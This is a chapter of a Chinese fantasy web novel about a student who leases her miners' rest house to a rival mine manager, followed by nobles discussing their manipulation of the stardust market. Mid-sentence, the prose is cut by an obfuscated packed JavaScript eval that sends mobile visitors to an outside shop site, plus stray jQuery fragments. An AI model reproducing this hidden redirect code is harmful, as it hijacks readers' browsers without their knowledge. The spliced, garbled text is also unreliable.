眼下时间还早。
二楼完全没有动静。并非因为那些借宿者还处于沉睡之中,而是他们早就已经起床干活去了。
妮娜简单地洗漱了一番,准备清点一下食品和各类用品的库存,然后回王都进货。
尽管买的都是些便宜可靠的东西,但几日下来也是一笔不小的开销。
差不多该到收回成本的时候了,然而计划中的那个人还没找上门来,这难免让她产生焦虑。好在运营社交账号的收入还够维持一阵子。
就在这时候,矿区2005的大门被敲响了。
“是斯特尔小姐吧?我叫亚历山大·庇李希。”站在门外那个打扮得像个业务员似的男人从皮夹里抽出一张名片,递到业主跟前,“我负责二号矿区北面那片矿场的全权管理。”
妮娜暗自松了一口气,装作不以为意地接过名片,“我是妮娜·斯特尔,休息处的主理人,我想庇李希先生一定是来和我洽谈有关工人福利事宜的吧?”
“工人福利”这个说法让亚历山大很不习惯,不过他还是理解了这个词的意思,并且认为这与他想要谈论的主题基本一致,于是点了点头:“正是如此。”
他被请进了休息处里一间用金属铭牌印着“会谈室”的房间。房间只有五平米那么大,还被一张桌子占去了很多空间,桌子上摆着一壶茶,看上去不是新鲜的,但这里的主人毫不介意地为他和自己各倒了一杯。
亚历山大将茶杯搁置一旁:“听说最近安卡亚的工人经常拜访这里。”
“他们非常乐于利用这里的设施。”
“这么说来……我们的工人也能享受到这里的,我是说,呃——福利?”
“当然,我很欢迎。看到那些终日操劳的工人们能打起精神,实在是一件鼓舞人心的事,你说是不是?”
“当然。”亚历山大此言绝非无心之语,他想到若是自己工地上的魔物们能打起一百二十分的劲儿来干活,那反超安卡亚在本地的业绩也就不是异想天开的事,“所以我想与您谈一份生意。”
“洗耳恭听。”
亚历山大立刻从公文包里拿出早就准备好的合同草拟件,“是这样的,我想出钱租赁休息处的使用权。”
“这没问题,毕竟这里的各项耗材也是一笔不小的开支,虽然是免费项目,我很愿意接受客户在资金上的援助。”
“这不是援助,不是捐款,我在向您购买一份具有排外性的使用权。”亚历山大用手指出了合同条款中的一项重要内容,“如果您答应合作,就要终止对安卡亚工地的开放。”
女大学生安静了片刻,低下眼睛注视着紧紧压在纸张的那根手指——至少亚历山大相信她看的是自己的指尖,但他不知道她在犹豫什么。
他可是出了钱的,总不能再放任那些“免费用户”进来,不然他这钱花的就没意思了。
“你想——”女大学生开口了,“我并没有阻止过爱德维希工地对休息处的使用,只是你从未允许你的工人过来。我已经开业好几天了,和安卡亚的工人们建立了感情,突然将他们拦在门外,这不太好吧……”
“您哪用得着考虑魔物们是怎么想的。”
“我就是一个非常介意别人眼光的人,即使那个‘别人’是魔族。”
“这么说您是打算拒绝这份‘资金援助’吗?您是在校大学生,正在参加创业比赛,如果不能拿到相应的名次,不仅会在不久的将来成为无业游民,就连好不容易为之操心四年的毕业证也会打了水漂。您怎么敢拒绝这样一份——相当不错的营收?”
“你调查得还挺仔细。”女大学生挑了一下眉毛,“但我想你的境遇比我窘迫多了。我对赫尔马岱的项目有自己的规划,盈利也不急于一时。现在就业环境不佳,但我终究是恩斯法内的应届生。”
“——而你就不一样了,亚历山大·庇李希先生。”
亚历山大怔住了,他没想到对方竟拿捏着他的死穴——她知道他是爱德维希的弃子。
他们的博弈发生在碰面之前,而他的底牌比她的小。
只要他出现在正对着安卡亚工地的这家休息处的门口,就已经宣告了落败。
他缓了好一会儿,才问:“那你想怎么样?”
他知道,不管对方还有什么条件,他都只能硬着头皮接受了。
*
矿区2005的大门朝向在一夜之间就调了个头,从面南开门变成了面北。
亚历山大不知道那个女大学生是怎么做到的,但这种结果比他预想的还要令人满意,他一想到安德烈在来到工地后发现休息处的大门不翼而飞时的惊愕表情,就觉得连日来累积的压力瞬间消失了。
再想到爱德维希工地也将获得安卡亚此前那令人艳羡的产值增长,他的心情当然变得更加愉快。
交给妮娜·斯特尔的租赁费不是一笔小数目,比他最初在合同上拟定的价格要高很多,公司上层对此颇有微词,但只要和它能够带来的预期收益做个比较,就能知道这绝对是笔划算的生意。
出身经济学院的女大学生给他看了根据安卡亚矿场近日表现计算出的预期效益,以及估算了在失去休息处使用权后由于“士气值”的下降和“心理落差”的扩大而导致的产值下降幅度,那个数字绝对激动人心。
因为亚历山大在对其登门拜访之前就已经连夜进行了前一项计算,而妮娜给出的数字与他自己的计算结果基本吻合,这就让他对她的第二项估计结果也深信不疑,更何况她身上还有“恩斯法内经济学院”这样令人信服的背书。
而事实证明,他冒着风险作出的绝对物超所值,爱德维希工地的工人们在获得休息处使用权后的第三天,就将原本的工地产值翻了个倍——这种事情放在过去是他连做梦的时候都想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915697|136349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不到的。
堪称奇迹。
*
贵族院,圆桌会议室。
布劳斯指着屏幕上的那条曲线,用一种充满怀疑的眼神扫视着环桌而坐的六个同僚:“我想距离我们开始行动已经过去一段时间了,但我们并未得到预计的那个结果。目前的数字离我们计划的目标还差得很远。我想应该有人要对此作出解释。”
兰登嗅到了空气中的火药味,有些坐立不安,她赶紧说道:“经济本来就不是我们能够随意控制的东西,更何况是这种关系到不少行业底层能源的重要物资,‘不能获得预期效果’这个结果本就应该在我们的预计之中。”
“不能因为习惯于行使‘控制权’,就觉得世界上的一切都能被掌控了,”阿斯代伦用一种讥诮的语气说道,“对吧?”
布劳斯的目光立刻射到了他的身上:“你派出去的那只小蝙蝠呢,他有多久没给你传递过新消息了?”
“你最好改一改这种立刻转移关注点的习惯,我先回答你的前一个问题吧——”阿斯代伦动了动手指,调出了另一张数据图。
“在我们放出唱衰星屑的内部消息之后,不少富商和工厂主都开始抛售手里的存货,星屑的价格在短期内就被拉下了15%,这反而导致了民间一些不明所以的投机者动起了抄底的念头。你知道的,现在就业不景气,很多人都索性指望着靠金融运作、投机倒把来赚钱了。”
布劳斯翻了一个白眼:“我只知道买涨不买跌,等‘内部消息’扩散到民间,那些该死的投机者难道没有慌不择路地赶紧丢掉这个烫手山芋吗?没有人蠢到等这玩意儿跌到谷底了再出手吧?”
阿斯代伦用光标强调了曲线图中处于最低位置的那个点:“其实星屑的价格在极短的时间段内已经接近了我们设定的那个购入价。”他又拉出了另一张数据图表:“就在那个时间点上,很多伺机而动的散户开始购买星屑,每个人的购买数量都很少,但购买者的数量非常庞大,而且……大多数购买是在线下的矿店而非交易所里进行的。”
蒂德莉一下子就想到了什么:“买家是魔族?”
昏昏欲睡的韦斯特尔终于抬起了眼皮,看了大屏幕一眼,又斜眼看向自己的邻座:“那些东西可没闲钱去玩这种中产的赌博游戏,就算那些诡异的购买者真的是魔族,他们哪来这么好的‘战略眼光’?”
阿斯代伦替蒂德莉答道:“他们可不是为了赌博,也不是什么战略投资——哦,在某种程度上也可以说是。”
“别卖关子。”
“那些星屑一旦进到他们的兜里,恐怕就再也不会流回市场了。我这么说你能懂吗?”阿斯代伦笑了一下,“他们的生活没太多指望,但他们的血脉里流淌着永远不会干涸的信仰——只要那棵树还活着。”
“这是一种信仰收藏,或者说信仰投资。”蒂德莉若有所思地说道。